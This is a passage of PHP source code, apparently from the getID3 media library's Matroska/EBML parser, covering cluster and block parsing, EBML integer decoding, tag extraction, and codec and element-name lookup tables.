													case EBML_ID_CLUSTERREFERENCEBLOCK:    // signed-int
														$cluster_block_group[$sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_subelement['data'], false, true);
														break;

													case EBML_ID_CLUSTERCODECSTATE:
														$cluster_block_group[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('clusters.blockgroup', __LINE__, $sub_subelement);
														break;
												}
											}
											$cluster_entry[$subelement['id_name']][] = $cluster_block_group;
											break;

										case EBML_ID_CLUSTERSIMPLEBLOCK:
											$cluster_entry[$subelement['id_name']][] = $this->HandleEMBLClusterBlock($subelement, EBML_ID_CLUSTERSIMPLEBLOCK, $info);
											break;

										default:
											$this->unhandledElement('cluster', __LINE__, $subelement);
											break;
									}
									$this->current_offset = $subelement['end'];
								}
								if (!$this->hide_clusters) {
									$info['matroska']['cluster'][] = $cluster_entry;
								}

								// check to see if all the data we need exists already, if so, break out of the loop
								if (!$this->parse_whole_file) {
									if (isset($info['matroska']['info']) && is_array($info['matroska']['info'])) {
										if (isset($info['matroska']['tracks']['tracks']) && is_array($info['matroska']['tracks']['tracks'])) {
											if (count($info['matroska']['track_data_offsets']) == count($info['matroska']['tracks']['tracks'])) {
												return;
											}
										}
									}
								}
								break;

							default:
								$this->unhandledElement('segment', __LINE__, $element_data);
								break;
						}
					}
					break;

				default:
					$this->unhandledElement('root', __LINE__, $top_element);
					break;
			}
		}
	}

	/**
	 * @param int $min_data
	 *
	 * @return bool
	 */
	private function EnsureBufferHasEnoughData($min_data=1024) {
		if (($this->current_offset - $this->EBMLbuffer_offset) >= ($this->EBMLbuffer_length - $min_data)) {
			$read_bytes = max($min_data, $this->getid3->fread_buffer_size());

			try {
				$this->fseek($this->current_offset);
				$this->EBMLbuffer_offset = $this->current_offset;
				$this->EBMLbuffer        = $this->fread($read_bytes);
				$this->EBMLbuffer_length = strlen($this->EBMLbuffer);
			} catch (getid3_exception $e) {
				$this->warning('EBML parser: '.$e->getMessage());
				return false;
			}

			if ($this->EBMLbuffer_length == 0 && $this->feof()) {
				return $this->error('EBML parser: ran out of file at offset '.$this->current_offset);
			}
		}
		return true;
	}

	/**
	 * @return int|float|false
	 */
	private function readEBMLint() {
		$actual_offset = $this->current_offset - $this->EBMLbuffer_offset;

		// get length of integer
		$first_byte_int = ord($this->EBMLbuffer[$actual_offset]);
		if       (0x80 & $first_byte_int) {
			$length = 1;
		} elseif (0x40 & $first_byte_int) {
			$length = 2;
		} elseif (0x20 & $first_byte_int) {
			$length = 3;
		} elseif (0x10 & $first_byte_int) {
			$length = 4;
		} elseif (0x08 & $first_byte_int) {
			$length = 5;
		} elseif (0x04 & $first_byte_int) {
			$length = 6;
		} elseif (0x02 & $first_byte_int) {
			$length = 7;
		} elseif (0x01 & $first_byte_int) {
			$length = 8;
		} else {
			throw new Exception('invalid EBML integer (leading 0x00) at '.$this->current_offset);
		}

		// read
		$int_value = self::EBML2Int(substr($this->EBMLbuffer, $actual_offset, $length));
		$this->current_offset += $length;

		return $int_value;
	}

	/**
	 * @param int  $length
	 * @param bool $check_buffer
	 *
	 * @return string|false
	 */
	private function readEBMLelementData($length, $check_buffer=false) {
		if ($check_buffer && !$this->EnsureBufferHasEnoughData($length)) {
			return false;
		}
		$data = substr($this->EBMLbuffer, $this->current_offset - $this->EBMLbuffer_offset, $length);
		$this->current_offset += $length;
		return $data;
	}

	/**
	 * @param array      $element
	 * @param int        $parent_end
	 * @param array|bool $get_data
	 *
	 * @return bool
	 */
	private function getEBMLelement(&$element, $parent_end, $get_data=false) {
		if ($this->current_offset >= $parent_end) {
			return false;
		}

		if (!$this->EnsureBufferHasEnoughData()) {
			$this->current_offset = PHP_INT_MAX; // do not exit parser right now, allow to finish current loop to gather maximum information
			return false;
		}

		$element = array();

		// set offset
		$element['offset'] = $this->current_offset;

		// get ID
		$element['id'] = $this->readEBMLint();

		// get name
		$element['id_name'] = self::EBMLidName($element['id']);

		// get length
		$element['length'] = $this->readEBMLint();

		// get end offset
		$element['end'] = $this->current_offset + $element['length'];

		// get raw data
		$dont_parse = (in_array($element['id'], $this->unuseful_elements) || $element['id_name'] == dechex($element['id']));
		if (($get_data === true || (is_array($get_data) && !in_array($element['id'], $get_data))) && !$dont_parse) {
			$element['data'] = $this->readEBMLelementData($element['length'], $element);
		}

		return true;
	}

	/**
	 * @param string $type
	 * @param int    $line
	 * @param array  $element
	 */
	private function unhandledElement($type, $line, $element) {
		// warn only about unknown and missed elements, not about unuseful
		if (!in_array($element['id'], $this->unuseful_elements)) {
			$this->warning('Unhandled '.$type.' element ['.basename(__FILE__).':'.$line.'] ('.$element['id'].'::'.$element['id_name'].' ['.$element['length'].' bytes]) at '.$element['offset']);
		}

		// increase offset for unparsed elements
		if (!isset($element['data'])) {
			$this->current_offset = $element['end'];
		}
	}

	/**
	 * @param array $SimpleTagArray
	 *
	 * @return bool
	 */
	private function ExtractCommentsSimpleTag($SimpleTagArray) {
		if (!empty($SimpleTagArray['SimpleTag'])) {
			foreach ($SimpleTagArray['SimpleTag'] as $SimpleTagKey => $SimpleTagData) {
				if (!empty($SimpleTagData['TagName']) && !empty($SimpleTagData['TagString'])) {
					$this->getid3->info['matroska']['comments'][strtolower($SimpleTagData['TagName'])][] = $SimpleTagData['TagString'];
				}
				if (!empty($SimpleTagData['SimpleTag'])) {
					$this->ExtractCommentsSimpleTag($SimpleTagData);
				}
			}
		}

		return true;
	}

	/**
	 * @param int $parent_end
	 *
	 * @return array
	 */
	private function HandleEMBLSimpleTag($parent_end) {
		$simpletag_entry = array();

		while ($this->getEBMLelement($element, $parent_end, array(EBML_ID_SIMPLETAG))) {
			switch ($element['id']) {

				case EBML_ID_TAGNAME:
				case EBML_ID_TAGLANGUAGE:
				case EBML_ID_TAGSTRING:
				case EBML_ID_TAGBINARY:
					$simpletag_entry[$element['id_name']] = $element['data'];
					break;

				case EBML_ID_SIMPLETAG:
					$simpletag_entry[$element['id_name']][] = $this->HandleEMBLSimpleTag($element['end']);
					break;

				case EBML_ID_TAGDEFAULT:
					$simpletag_entry[$element['id_name']] = (bool)getid3_lib::BigEndian2Int($element['data']);
					break;

				default:
					$this->unhandledElement('tag.simpletag', __LINE__, $element);
					break;
			}
		}

		return $simpletag_entry;
	}

	/**
	 * @param array $element
	 * @param int   $block_type
	 * @param array $info
	 *
	 * @return array
	 */
	private function HandleEMBLClusterBlock($element, $block_type, &$info) {
		// http://www.matroska.org/technical/specs/index.html#block_structure
		// http://www.matroska.org/technical/specs/index.html#simpleblock_structure

		$block_data = array();
		$block_data['tracknumber'] = $this->readEBMLint();
		$block_data['timecode']    = getid3_lib::BigEndian2Int($this->readEBMLelementData(2), false, true);
		$block_data['flags_raw']   = getid3_lib::BigEndian2Int($this->readEBMLelementData(1));

		if ($block_type == EBML_ID_CLUSTERSIMPLEBLOCK) {
			$block_data['flags']['keyframe']  = (($block_data['flags_raw'] & 0x80) >> 7);
			//$block_data['flags']['reserved1'] = (($block_data['flags_raw'] & 0x70) >> 4);
		}
		else {
			//$block_data['flags']['reserved1'] = (($block_data['flags_raw'] & 0xF0) >> 4);
		}
		$block_data['flags']['invisible'] = (bool)(($block_data['flags_raw'] & 0x08) >> 3);
		$block_data['flags']['lacing']    =       (($block_data['flags_raw'] & 0x06) >> 1);  // 00=no lacing; 01=Xiph lacing; 11=EBML lacing; 10=fixed-size lacing
		if ($block_type == EBML_ID_CLUSTERSIMPLEBLOCK) {
			$block_data['flags']['discardable'] = (($block_data['flags_raw'] & 0x01));
		}
		else {
			//$block_data['flags']['reserved2'] = (($block_data['flags_raw'] & 0x01) >> 0);
		}
		$block_data['flags']['lacing_type'] = self::BlockLacingType($block_data['flags']['lacing']);

		// Lace (when lacing bit is set)
		if ($block_data['flags']['lacing'] > 0) {
			$block_data['lace_frames'] = getid3_lib::BigEndian2Int($this->readEBMLelementData(1)) + 1; // Number of frames in the lace-1 (uint8)
			if ($block_data['flags']['lacing'] != 0x02) {
				for ($i = 1; $i < $block_data['lace_frames']; $i ++) { // Lace-coded size of each frame of the lace, except for the last one (multiple uint8). *This is not used with Fixed-size lacing as it is calculated automatically from (total size of lace) / (number of frames in lace).
					if ($block_data['flags']['lacing'] == 0x03) { // EBML lacing
						$block_data['lace_frames_size'][$i] = $this->readEBMLint(); // TODO: read size correctly, calc size for the last frame. For now offsets are deteminded OK with readEBMLint() and that's the most important thing.
					}
					else { // Xiph lacing
						$block_data['lace_frames_size'][$i] = 0;
						do {
							$size = getid3_lib::BigEndian2Int($this->readEBMLelementData(1));
							$block_data['lace_frames_size'][$i] += $size;
						}
						while ($size == 255);
					}
				}
				if ($block_data['flags']['lacing'] == 0x01) { // calc size of the last frame only for Xiph lacing, till EBML sizes are now anyway determined incorrectly
					$block_data['lace_frames_size'][] = $element['end'] - $this->current_offset - array_sum($block_data['lace_frames_size']);
				}
			}
		}

		if (!isset($info['matroska']['track_data_offsets'][$block_data['tracknumber']])) {
			$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['offset'] = $this->current_offset;
			$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['length'] = $element['end'] - $this->current_offset;
			//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['total_length'] = 0;
		}
		//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['total_length'] += $info['matroska']['track_data_offsets'][$block_data['tracknumber']]['length'];
		//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['duration']      = $block_data['timecode'] * ((isset($info['matroska']['info'][0]['TimecodeScale']) ? $info['matroska']['info'][0]['TimecodeScale'] : 1000000) / 1000000000);

		// set offset manually
		$this->current_offset = $element['end'];

		return $block_data;
	}

	/**
	 * @param string $EBMLstring
	 *
	 * @return int|float|false
	 */
	private static function EBML2Int($EBMLstring) {
		// http://matroska.org/specs/

		// Element ID coded with an UTF-8 like system:
		// 1xxx xxxx                                  - Class A IDs (2^7 -2 possible values) (base 0x8X)
		// 01xx xxxx  xxxx xxxx                       - Class B IDs (2^14-2 possible values) (base 0x4X 0xXX)
		// 001x xxxx  xxxx xxxx  xxxx xxxx            - Class C IDs (2^21-2 possible values) (base 0x2X 0xXX 0xXX)
		// 0001 xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx - Class D IDs (2^28-2 possible values) (base 0x1X 0xXX 0xXX 0xXX)
		// Values with all x at 0 and 1 are reserved (hence the -2).

		// Data size, in octets, is also coded with an UTF-8 like system :
		// 1xxx xxxx                                                                              - value 0 to  2^7-2
		// 01xx xxxx  xxxx xxxx                                                                   - value 0 to 2^14-2
		// 001x xxxx  xxxx xxxx  xxxx xxxx                                                        - value 0 to 2^21-2
		// 0001 xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                                             - value 0 to 2^28-2
		// 0000 1xxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                                  - value 0 to 2^35-2
		// 0000 01xx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                       - value 0 to 2^42-2
		// 0000 001x  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx            - value 0 to 2^49-2
		// 0000 0001  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx - value 0 to 2^56-2

		$first_byte_int = ord($EBMLstring[0]);
		if (0x80 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x7F);
		} elseif (0x40 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x3F);
		} elseif (0x20 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x1F);
		} elseif (0x10 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x0F);
		} elseif (0x08 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x07);
		} elseif (0x04 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x03);
		} elseif (0x02 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x01);
		} elseif (0x01 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x00);
		}

		return getid3_lib::BigEndian2Int($EBMLstring);
	}

	/**
	 * @param int $EBMLdatestamp
	 *
	 * @return float
	 */
	private static function EBMLdate2unix($EBMLdatestamp) {
		// Date - signed 8 octets integer in nanoseconds with 0 indicating the precise beginning of the millennium (at 2001-01-01T00:00:00,000000000 UTC)
		// 978307200 == mktime(0, 0, 0, 1, 1, 2001) == January 1, 2001 12:00:00am UTC
		return round(($EBMLdatestamp / 1000000000) + 978307200);
	}

	/**
	 * @param int $target_type
	 *
	 * @return string|int
	 */
	public static function TargetTypeValue($target_type) {
		// http://www.matroska.org/technical/specs/tagging/index.html
		static $TargetTypeValue = array();
		if (empty($TargetTypeValue)) {
			$TargetTypeValue[10] = 'A: ~ V:shot';                                           // the lowest hierarchy found in music or movies
			$TargetTypeValue[20] = 'A:subtrack/part/movement ~ V:scene';                    // corresponds to parts of a track for audio (like a movement)
			$TargetTypeValue[30] = 'A:track/song ~ V:chapter';                              // the common parts of an album or a movie
			$TargetTypeValue[40] = 'A:part/session ~ V:part/session';                       // when an album or episode has different logical parts
			$TargetTypeValue[50] = 'A:album/opera/concert ~ V:movie/episode/concert';       // the most common grouping level of music and video (equals to an episode for TV series)
			$TargetTypeValue[60] = 'A:edition/issue/volume/opus ~ V:season/sequel/volume';  // a list of lower levels grouped together
			$TargetTypeValue[70] = 'A:collection ~ V:collection';                           // the high hierarchy consisting of many different lower items
		}
		return (isset($TargetTypeValue[$target_type]) ? $TargetTypeValue[$target_type] : $target_type);
	}

	/**
	 * @param int $lacingtype
	 *
	 * @return string|int
	 */
	public static function BlockLacingType($lacingtype) {
		// http://matroska.org/technical/specs/index.html#block_structure
		static $BlockLacingType = array();
		if (empty($BlockLacingType)) {
			$BlockLacingType[0x00] = 'no lacing';
			$BlockLacingType[0x01] = 'Xiph lacing';
			$BlockLacingType[0x02] = 'fixed-size lacing';
			$BlockLacingType[0x03] = 'EBML lacing';
		}
		return (isset($BlockLacingType[$lacingtype]) ? $BlockLacingType[$lacingtype] : $lacingtype);
	}

	/**
	 * @param string $codecid
	 *
	 * @return string
	 */
	public static function CodecIDtoCommonName($codecid) {
		// http://www.matroska.org/technical/specs/codecid/index.html
		static $CodecIDlist = array();
		if (empty($CodecIDlist)) {
			$CodecIDlist['A_AAC']            = 'aac';
			$CodecIDlist['A_AAC/MPEG2/LC']   = 'aac';
			$CodecIDlist['A_AC3']            = 'ac3';
			$CodecIDlist['A_EAC3']           = 'eac3';
			$CodecIDlist['A_DTS']            = 'dts';
			$CodecIDlist['A_FLAC']           = 'flac';
			$CodecIDlist['A_MPEG/L1']        = 'mp1';
			$CodecIDlist['A_MPEG/L2']        = 'mp2';
			$CodecIDlist['A_MPEG/L3']        = 'mp3';
			$CodecIDlist['A_PCM/INT/LIT']    = 'pcm';       // PCM Integer Little Endian
			$CodecIDlist['A_PCM/INT/BIG']    = 'pcm';       // PCM Integer Big Endian
			$CodecIDlist['A_QUICKTIME/QDMC'] = 'quicktime'; // Quicktime: QDesign Music
			$CodecIDlist['A_QUICKTIME/QDM2'] = 'quicktime'; // Quicktime: QDesign Music v2
			$CodecIDlist['A_VORBIS']         = 'vorbis';
			$CodecIDlist['V_MPEG1']          = 'mpeg';
			$CodecIDlist['V_THEORA']         = 'theora';
			$CodecIDlist['V_REAL/RV40']      = 'real';
			$CodecIDlist['V_REAL/RV10']      = 'real';
			$CodecIDlist['V_REAL/RV20']      = 'real';
			$CodecIDlist['V_REAL/RV30']      = 'real';
			$CodecIDlist['V_QUICKTIME']      = 'quicktime'; // Quicktime
			$CodecIDlist['V_MPEG4/ISO/AP']   = 'mpeg4';
			$CodecIDlist['V_MPEG4/ISO/ASP']  = 'mpeg4';
			$CodecIDlist['V_MPEG4/ISO/AVC']  = 'h264';
			$CodecIDlist['V_MPEG4/ISO/SP']   = 'mpeg4';
			$CodecIDlist['V_VP8']            = 'vp8';
			$CodecIDlist['V_MS/VFW/FOURCC']  = 'vcm'; // Microsoft (TM) Video Codec Manager (VCM)
			$CodecIDlist['A_MS/ACM']         = 'acm'; // Microsoft (TM) Audio Codec Manager (ACM)
		}
		return (isset($CodecIDlist[$codecid]) ? $CodecIDlist[$codecid] : $codecid);
	}

	/**
	 * @param int $value
	 *
	 * @return string
	 */
	private static function EBMLidName($value) {
		static $EBMLidList = array();
		if (empty($EBMLidList)) {
			$EBMLidList[EBML_ID_ASPECTRATIOTYPE]            = 'AspectRatioType';
			$EBMLidList[EBML_ID_ATTACHEDFILE]               = 'AttachedFile';
			$EBMLidList[EBML_ID_ATTACHMENTLINK]             = 'AttachmentLink';
			$EBMLidList[EBML_ID_ATTACHMENTS]                = 'Attachments';
			$EBMLidList[EBML_ID_AUDIO]                      = 'Audio';
			$EBMLidList[EBML_ID_BITDEPTH]                   = 'BitDepth';
			$EBMLidList[EBML_ID_CHANNELPOSITIONS]           = 'ChannelPositions';
			$EBMLidList[EBML_ID_CHANNELS]                   = 'Channels';
			$EBMLidList[EBML_ID_CHAPCOUNTRY]                = 'ChapCountry';
			$EBMLidList[EBML_ID_CHAPLANGUAGE]               = 'ChapLanguage';
			$EBMLidList[EBML_ID_CHAPPROCESS]                = 'ChapProcess';
			$EBMLidList[EBML_ID_CHAPPROCESSCODECID]         = 'ChapProcessCodecID';
			$EBMLidList[EBML_ID_CHAPPROCESSCOMMAND]         = 'ChapProcessCommand';
			$EBMLidList[EBML_ID_CHAPPROCESSDATA]            = 'ChapProcessData';
			$EBMLidList[EBML_ID_CHAPPROCESSPRIVATE]         = 'ChapProcessPrivate';
			$EBMLidList[EBML_ID_CHAPPROCESSTIME]            = 'ChapProcessTime';
			$EBMLidList[EBML_ID_CHAPSTRING]                 = 'ChapString';
			$EBMLidList[EBML_ID_CHAPTERATOM]                = 'ChapterAtom';
			$EBMLidList[EBML_ID_CHAPTERDISPLAY]             = 'ChapterDisplay';
			$EBMLidList[EBML_ID_CHAPTERFLAGENABLED]         = 'ChapterFlagEnabled';
			$EBMLidList[EBML_ID_CHAPTERFLAGHIDDEN]          = 'ChapterFlagHidden';
			$EBMLidList[EBML_ID_CHAPTERPHYSICALEQUIV]       = 'ChapterPhysicalEquiv';
			$EBMLidList[EBML_ID_CHAPTERS]                   = 'Chapters';
			$EBMLidList[EBML_ID_CHAPTERSEGMENTEDITIONUID]   = 'ChapterSegmentEditionUID';
			$EBMLidList[EBML_ID_CHAPTERSEGMENTUID]          = 'ChapterSegmentUID';
			$EBMLidList[EBML_ID_CHAPTERTIMEEND]             = 'ChapterTimeEnd';
			$EBMLidList[EBML_ID_CHAPTERTIMESTART]           = 'ChapterTimeStart';
			$EBMLidList[EBML_ID_CHAPTERTRACK]               = 'ChapterTrack';
			$EBMLidList[EBML_ID_CHAPTERTRACKNUMBER]         = 'ChapterTrackNumber';
			$EBMLidList[EBML_ID_CHAPTERTRANSLATE]           = 'ChapterTranslate';
			$EBMLidList[EBML_ID_CHAPTERTRANSLATECODEC]      = 'ChapterTranslateCodec';
			$EBMLidList[EBML_ID_CHAPTERTRANSLATEEDITIONUID] = 'ChapterTranslateEditionUID';
			$EBMLidList[EBML_ID_CHAPTERTRANSLATEID]         = 'ChapterTranslateID';
			$EBMLidList[EBML_ID_CHAPTERUID]                 = 'ChapterUID';
			$EBMLidList[EBML_ID_CLUSTER]                    = 'Cluster';
			$EBMLidList[EBML_ID_CLUSTERBLOCK]               = 'ClusterBlock';
			$EBMLidList[EBML_ID_CLUSTERBLOCKADDID]          = 'ClusterBlockAddID';
			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONAL]     = 'ClusterBlockAdditional';
			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONID]     = 'ClusterBlockAdditionID';
			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONS]      = 'ClusterBlockAdditions';
			$EBMLidList[EBML_ID_CLUSTERBLOCKDURATION]       = 'ClusterBlockDuration';
			$EBMLidList[EBML_ID_CLUSTERBLOCKGROUP]          = 'ClusterBlockGroup';
			$EBMLidList[EBML_ID_CLUSTERBLOCKMORE]           = 'ClusterBlockMore';
			$EBMLidList[EBML_ID_CLUSTERBLOCKVIRTUAL]        = 'ClusterBlockVirtual';
			$EBMLidList[EBML_ID_CLUSTERCODECSTATE]          = 'ClusterCodecState';
			$EBMLidList[EBML_ID_CLUSTERDELAY]               = 'ClusterDelay';
			$EBMLidList[EBML_ID_CLUSTERDURATION]            = 'ClusterDuration';
			$EBMLidList[EBML_ID_CLUSTERENCRYPTEDBLOCK]      = 'ClusterEncryptedBlock';
			$EBMLidList[EBML_ID_CLUSTERFRAMENUMBER]         = 'ClusterFrameNumber';
			$EBMLidList[EBML_ID_CLUSTERLACENUMBER]          = 'ClusterLaceNumber';
			$EBMLidList[EBML_ID_CLUSTERPOSITION]            = 'ClusterPosition';
			$EBMLidList[EBML_ID_CLUSTERPREVSIZE]            = 'ClusterPrevSize';
			$EBMLidList[EBML_ID_CLUSTERREFERENCEBLOCK]      = 'ClusterReferenceBlock';
			$EBMLidList[EBML_ID_CLUSTERREFERENCEPRIORITY]   = 'ClusterReferencePriority';
			$EBMLidList[EBML_ID_CLUSTERREFERENCEVIRTUAL]    = 'ClusterReferenceVirtual';
			$EBMLidList[EBML_ID_CLUSTERSILENTTRACKNUMBER]   = 'ClusterSilentTrackNumber';
			$EBMLidList[EBML_ID_CLUSTERSILENTTRACKS]        = 'ClusterSilentTracks';
			$EBMLidList[EBML_ID_CLUSTERSIMPLEBLOCK]         = 'ClusterSimpleBlock';
			$EBMLidList[EBML_ID_CLUSTERTIMECODE]            = 'ClusterTimecode';
			$EBMLidList[EBML_ID_CLUSTERTIMESLICE]           = 'ClusterTimeSlice';
			$EBMLidList[EBML_ID_CODECDECODEALL]             = 'CodecDecodeAll';
			$EBMLidList[EBML_ID_CODECDOWNLOADURL]           = 'CodecDownloadURL';
			$EBMLidList[EBML_ID_CODECID]                    = 'CodecID';
			$EBMLidList[EBML_ID_CODECINFOURL]               = 'CodecInfoURL';
			$EBMLidList[EBML_ID_CODECNAME]                  = 'CodecName';
			$EBMLidList[EBML_ID_CODECPRIVATE]               = 'CodecPrivate';
			$EBMLidList[EBML_ID_CODECSETTINGS]              = 'CodecSettings';
			$EBMLidList[EBML_ID_COLOURSPACE]                = 'ColourSpace';
			$EBMLidList[EBML_ID_CONTENTCOMPALGO]            = 'ContentCompAlgo';
			$EBMLidList[EBML_ID_CONTENTCOMPRESSION]         = 'ContentCompression';
			$EBMLidList[EBML_ID_CONTENTCOMPSETTINGS]        = 'ContentCompSettings';
			$EBMLidList[EBML_ID_CONTENTENCALGO]             = 'ContentEncAlgo';
			$EBMLidList[EBML_ID_CONTENTENCKEYID]            = 'ContentEncKeyID';
			$EBMLidList[EBML_ID_CONTENTENCODING]            = 'ContentEncoding';
			$EBMLidList[EBML_ID_CONTENTENCODINGORDER]       = 'ContentEncodingOrder';
			$EBMLidList[EBML_ID_CONTENTENCODINGS]           = 'ContentEncodings';
			$EBMLidList[EBML_ID_CONTENTENCODINGSCOPE]       = 'ContentEncodingScope';
			$EBMLidList[EBML_ID_CONTENTENCODINGTYPE]        = 'ContentEncodingType';
			$EBMLidList[EBML_ID_CONTENTENCRYPTION]          = 'ContentEncryption';
			$EBMLidList[EBML_ID_CONTENTSIGALGO]             = 'ContentSigAlgo';
			$EBMLidList[EBML_ID_CONTENTSIGHASHALGO]         = 'ContentSigHashAlgo';
			$EBMLidList[EBML_ID_CONTENTSIGKEYID]            = 'ContentSigKeyID';
			$EBMLidList[EBML_ID_CONTENTSIGNATURE]           = 'ContentSignature';
			$EBMLidList[EBML_ID_CRC32]                      = 'CRC32';
			$EBMLidList[EBML_ID_CUEBLOCKNUMBER]             = 'CueBlockNumber';
			$EBMLidList[EBML_ID_CUECLUSTERPOSITION]         = 'CueClusterPosition';
			$EBMLidList[EBML_ID_CUECODECSTATE]              = 'CueCodecState';
			$EBMLidList[EBML_ID_CUEPOINT]                   = 'CuePoint';
			$EBMLidList[EBML_ID_CUEREFCLUSTER]              = 'CueRefCluster';
			$EBMLidList[EBML_ID_CUEREFCODECSTATE]           = 'CueRefCodecState';
			$EBMLidList[EBML_ID_CUEREFERENCE]               = 'CueReference';
			$EBMLidList[EBML_ID_CUEREFNUMBER]               = 'CueRefNumber';
			$EBMLidList[EBML_ID_CUEREFTIME]                 = 'CueRefTime';
			$EBMLidList[EBML_ID_CUES]                       = 'Cues';
			$EBMLidList[EBML_ID_CUETIME]                    = 'CueTime';
			$EBMLidList[EBML_ID_CUETRACK]                   = 'CueTrack';
			$EBMLidList[EBML_ID_CUETRACKPOSITIONS]          = 'CueTrackPositions';
			$EBMLidList[EBML_ID_DATEUTC]                    = 'DateUTC';
			$EBMLidList[EBML_ID_DEFAULTDURATION]            = 'DefaultDuration';
			$EBMLidList[EBML_ID_DISPLAYHEIGHT]              = 'DisplayHeight';
			$EBMLidList[EBML_ID_DISPLAYUNIT]                = 'DisplayUnit';
			$EBMLidList[EBML_ID_DISPLAYWIDTH]               = 'DisplayWidth';
			$EBMLidList[EBML_ID_DOCTYPE]                    = 'DocType';
			$EBMLidList[EBML_ID_DOCTYPEREADVERSION]         = 'DocTypeReadVersion';
			$EBMLidList[EBML_ID_DOCTYPEVERSION]             = 'DocTypeVersion';
			$EBMLidList[EBML_ID_DURATION]                   = 'Duration';
			$EBMLidList[EBML_ID_EBML]                       = 'EBML';
			$EBMLidList[EBML_ID_EBMLMAXIDLENGTH]            = 'EBMLMaxIDLength';
			$EBMLidList[EBML_ID_EBMLMAXSIZELENGTH]          = 'EBMLMaxSizeLength';
			$EBMLidList[EBML_ID_EBMLREADVERSION]            = 'EBMLReadVersion';
			$EBMLidList[EBML_ID_EBMLVERSION]                = 'EBMLVersion';
			$EBMLidList[EBML_ID_EDITIONENTRY]               = 'EditionEntry';
			$EBMLidList[EBML_ID_EDITIONFLAGDEFAULT]         = 'EditionFlagDefault';
			$EBMLidList[EBML_ID_EDITIONFLAGHIDDEN]          = 'EditionFlagHidden';
			$EBMLidList[EBML_ID_EDITIONFLAGORDERED]         = 'EditionFlagOrdered';
			$EBMLidList[EBML_ID_EDITIONUID]                 = 'EditionUID';
			$EBMLidList[EBML_ID_FILEDATA]                   = 'FileData';
			$EBMLidList[EBML_ID_FILEDESCRIPTION]            = 'FileDescription';
			$EBMLidList[EBML_ID_FILEMIMETYPE]               = 'FileMimeType';
			$EBMLidList[EBML_ID_FILENAME]                   = 'FileName';
			$EBMLidList[EBML_ID_FILEREFERRAL]               = 'FileReferral';
			$EBMLidList[EBML_ID_FILEUID]                    = 'FileUID';
			$EBMLidList[EBML_ID_FLAGDEFAULT]                = 'FlagDefault';
			$EBMLidList[EBML_ID_FLAGENABLED]                = 'FlagEnabled';
			$EBMLidList[EBML_ID_FLAGFORCED]                 = 'FlagForced';
			$EBMLidList[EBML_ID_FLAGINTERLACED]             = 'FlagInterlaced';
			$EBMLidList[EBML_ID_FLAGLACING]                 = 'FlagLacing';
			$EBMLidList[EBML_ID_GAMMAVALUE]                 = 'GammaValue';
			$EBMLidList[EBML_ID_INFO]                       = 'Info';
			$EBMLidList[EBML_ID_LANGUAGE]                   = 'Language';
			$EBMLidList[EBML_ID_MAXBLOCKADDITIONID]         = 'MaxBlockAdditionID';
			$EBMLidList[EBML_ID_MAXCACHE]                   = 'MaxCache';
			$EBMLidList[EBML_ID_MINCACHE]                   = 'MinCache';
			$EBMLidList[EBML_ID_MUXINGAPP]                  = 'MuxingApp';
			$EBMLidList[EBML_ID_NAME]                       = 'Name';
			$EBMLidList[EBML_ID_NEXTFILENAME]               = 'NextFilename';
			$EBMLidList[EBML_ID_NEXTUID]                    = 'NextUID';
			$EBMLidList[EBML_ID_OUTPUTSAMPLINGFREQUENCY]    = 'OutputSamplingFrequency';
			$EBMLidList[EBML_ID_PIXELCROPBOTTOM]            = 'PixelCropBottom';
			$EBMLidList[EBML_ID_PIXELCROPLEFT]              = 'PixelCropLeft';
			$EBMLidList[EBML_ID_PIXELCROPRIGHT]             = 'PixelCropRight';
			$EBMLidList[EBML_ID_PIXELCROPTOP]               = 'PixelCropTop';
			$EBMLidList[EBML_ID_PIXELHEIGHT]                = 'PixelHeight';
			$EBMLidList[EBML_ID_PIXELWIDTH]                 = 'PixelWidth';
			$EBMLidList[EBML_ID_PREVFILENAME]               = 'PrevFilename';
			$EBMLidList[EBML_ID_PREVUID]                    = 'PrevUID';
			$EBMLidList[EBML_ID_SAMPLINGFREQUENCY]          = 'SamplingFrequency';
			$EBMLidList[EBML_ID_SEEK]                       = 'Seek';
			$EBMLidList[EBML_ID_SEEKHEAD]                   = 'SeekHead';
			$EBMLidList[EBML_ID_SEEKID]                     = 'SeekID';
			$EBMLidList[EBML_ID_SEEKPOSITION]               = 'SeekPosition';
			$EBMLidList[EBML_ID_SEGMENT]                    = 'Segment';
			$EBMLidList[EBML_ID_SEGMENTFAMILY]              = 'SegmentFamily';
			$EBMLidList[EBML_ID_SEGMENTFILENAME]            = 'SegmentFilename';
			$EBMLidList[EBML_ID_SEGMENTUID]                 = 'SegmentUID';
			$EBMLidList[EBML_ID_SIMPLETAG]                  = 'SimpleTag';
			$EBMLidList[EBML_ID_CLUSTERSLICES]              = 'ClusterSlices';
			$EBMLidList[EBML_ID_STEREOMODE]                 = 'StereoMode';
			$EBMLidList[EBML_ID_OLDSTEREOMODE]              = 'OldStereoMode';
			$EBMLidList[EBML_ID_TAG]                        = 'Tag';
			$EBMLidList[EBML_ID_TAGATTACHMENTUID]           = 'TagAttachmentUID';
